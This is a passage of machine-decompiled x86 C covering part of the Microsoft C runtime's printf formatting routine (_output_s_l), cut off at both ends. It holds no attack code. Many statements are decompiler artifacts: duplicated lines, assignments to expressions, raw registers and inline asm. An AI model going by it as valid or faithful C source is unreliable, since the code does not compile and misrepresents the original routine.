															continue;
														}
														goto L209;
													}
													L211:
													L213:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c4);
															__eax = E00430BA0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L216:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041D8B0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L218:
													 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
													_t547 =  *(_t557 - 0x251);
													 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
													if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
															 *(_t557 - 0x310) = 0;
														} else {
															 *(_t557 - 0x310) =  *( *(_t557 - 0x251) + 0x4065b0) & 0xf;
														}
													}
													L7:
													 *(_t557 - 0x250) =  *(_t557 - 0x310);
													_t506 =  *(_t557 - 0x250) * 9;
													_t536 =  *(_t557 - 0x25c);
													_t547 = ( *(_t506 + _t536 + 0x4065d0) & 0x000000ff) >> 4;
													 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x4065d0) & 0x000000ff) >> 4;
													if( *(_t557 - 0x25c) != 8) {
														L16:
														 *(_t557 - 0x318) =  *(_t557 - 0x25c);
														__eflags =  *(_t557 - 0x318) - 7;
														if( *(_t557 - 0x318) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M004309F0))) {
															case 0:
																L18:
																 *(_t557 - 0xc) = 0;
																_t509 = E0042F050( *(_t557 - 0x251) & 0x000000ff, E0041EA40(_t557 - 0x40));
																_t562 = _t559 + 8;
																__eflags = _t509;
																if(_t509 == 0) {
																	L24:
																	E00430B00( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t559 = _t562 + 0xc;
																	goto L218;
																} else {
																	E00430B00( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t562 = _t562 + 0xc;
																	_t541 =  *( *(_t557 + 0xc));
																	 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																	_t547 =  *(_t557 + 0xc) + 1;
																	__eflags = _t547;
																	 *(_t557 + 0xc) = _t547;
																	asm("sbb eax, eax");
																	 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																	if(_t547 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t521 = L0041F590();
																		_t562 = _t562 + 0x14;
																		__eflags = _t521 - 1;
																		if(_t521 == 1) {
																			asm("int3");
																		}
																	}
																	L22:
																	__eflags =  *(_t557 - 0x27c);
																	if( *(_t557 - 0x27c) != 0) {
																		goto L24;
																	} else {
																		 *((intOrPtr*)(L0041F530(_t541))) = 0x16;
																		E0041F2C0(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t557 - 0x2f4) = 0xffffffff;
																		E0041EA10(_t557 - 0x40);
																		_t499 =  *(_t557 - 0x2f4);
																		goto L229;
																	}
																}
															case 1:
																L25:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L218;
															case 2:
																L26:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																__eflags =  *(__ebp - 0x31c) - 0x10;
																if( *(__ebp - 0x31c) > 0x10) {
																	goto L33;
																}
																L27:
																__ecx =  *(__ebp - 0x31c);
																_t72 = __ecx + 0x430a28; // 0x498d04
																__edx =  *_t72 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00430A10))) {
																	case 0:
																		goto L30;
																	case 1:
																		goto L31;
																	case 2:
																		goto L29;
																	case 3:
																		goto L28;
																	case 4:
																		goto L32;
																	case 5:
																		goto L33;
																}
															case 3:
																L34:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t96 = __ecx - 0x30; // -48
																	__edx = __eax + _t96;
																	 *(__ebp - 0x18) = __eax + _t96;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00420C00(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																goto L218;
															case 4:
																L40:
																 *(__ebp - 0x30) = 0;
																goto L218;
															case 5:
																L41:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t107;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00420C00(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L218;
															case 6:
																L47:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																__eflags =  *(__ebp - 0x320) - 0x2e;
																if( *(__ebp - 0x320) > 0x2e) {
																	L70:
																	goto L218;
																}
																L48:
																__ecx =  *(__ebp - 0x320);
																_t115 = __ecx + 0x430a50; // 0x25e9003
																__edx =  *_t115 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M00430A3C))) {
																	case 0:
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L56:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L59:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L65:
																					L67:
																					goto L70;
																				}
																				L60:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L65;
																				}
																				L61:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L65;
																				}
																				L62:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L65;
																				}
																				L63:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L65;
																				}
																				L64:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L18;
																				}
																				goto L65;
																			}
																			L57:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L59;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L56;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	case 1:
																		L68:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L70;
																	case 2:
																		L49:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L70;
																	case 3:
																		L69:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L70;
																	case 4:
																		goto L70;
																}
															case 7:
																L71:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x324) = __ecx;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																__eflags =  *(__ebp - 0x324) - 0x37;
																if( *(__ebp - 0x324) > 0x37) {
																	while(1) {
																		L190:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																}
																L72:
																_t156 =  *(__ebp - 0x324) + 0x430abc; // 0xcccccc0d
																__ecx =  *_t156 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00430A80))) {
																	case 0:
																		L123:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L124;
																	case 1:
																		L73:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L75;
																	case 2:
																		L88:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L90;
																	case 3:
																		L147:
																		 *(__ebp - 0x260) = 7;
																		L148:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			 *(__ebp - 0x14) = 0x30;
																			 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																			__eflags =  *(__ebp - 0x260) + 0x51;
																			 *((char*)(__ebp - 0x13)) = __al;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L153;
																	case 4:
																		L81:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x288) = E00420C00(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x288);
																		if( *(__ebp - 0x288) == 0) {
																			L83:
																			__edx =  *0x43de98; // 0x4063f4
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
																			L87:
																			goto L190;
																		}
																		L82:
																		__ecx =  *(__ebp - 0x288);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L84:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L87;
																		}
																		goto L83;
																	case 5:
																		L124:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L129:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L131:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041CB30(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				__ecx =  *(__eax - 8);
																				__edx =  *(__eax - 4);
																				 *(__ebp - 0x2a8) =  *(__eax - 8);
																				 *(__ebp - 0x2a4) =  *(__eax - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041EA40(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a8;
																				_push(__ebp - 0x2a8);
																				__eax =  *0x43de88; // 0xfb3c7abe
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041EA40(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x43de94; // 0xfb3c7abe
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041EA40(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x43de90; // 0xfb3c7abe
																						E00427990(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
																				do {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				} while ( *(__ebp - 0x324) > 0x37);
																				goto L72;
																			}
																			L127:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L129;
																			}
																			L128:
																			 *(__ebp - 0x30) = 1;
																			goto L131;
																		}
																		L125:
																		 *(__ebp - 0x30) = 6;
																		goto L131;
																	case 6:
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			__ebp + 0x14 = E00420C00(__ebp + 0x14);
																			 *(__ebp - 0x284) = __ax;
																			__cl =  *(__ebp - 0x284);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																		} else {
																			 *(__ebp - 0x280) = 0;
																			__edx = __ebp + 0x14;
																			__eax = E0042F030(__ebp + 0x14);
																			 *(__ebp - 0x258) = __ax;
																			__eax =  *(__ebp - 0x258) & 0x0000ffff;
																			__ecx = __ebp - 0x248;
																			__edx = __ebp - 0x24;
																			 *(__ebp - 0x280) = E00436BC0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																			__eflags =  *(__ebp - 0x280);
																			if( *(__ebp - 0x280) != 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	case 7:
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L153:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00420C00(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00420C00(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00420C00(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2b4) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00420C00(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00420C20(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b8) = E00420C20(__ebp + 0x14);
																			 *(__ebp - 0x2b4) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																	case 8:
																		L109:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x298) = E00420C00(__ebp + 0x14);
																		__eax = E0042F010();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L119:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x298);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x298);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																		L110:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x32c) = 0;
																		} else {
																			 *(__ebp - 0x32c) = 1;
																		}
																		__eax =  *(__ebp - 0x32c);
																		 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041F590();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) != 0) {
																			L118:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		} else {
																			L117:
																			 *((intOrPtr*)(L0041F530(__ecx))) = 0x16;
																			__eax = E0041F2C0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2f8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041EA10(__ecx);
																			__eax =  *(__ebp - 0x2f8);
																			goto L229;
																		}
																	case 9:
																		L151:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00420C00(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00420C00(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00420C00(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00420C00(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00420C20(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00420C20(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xa:
																		L146:
																		 *(__ebp - 0x30) = 8;
																		goto L147;
																	case 0xb:
																		L90:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x328) =  *(__ebp - 0x30);
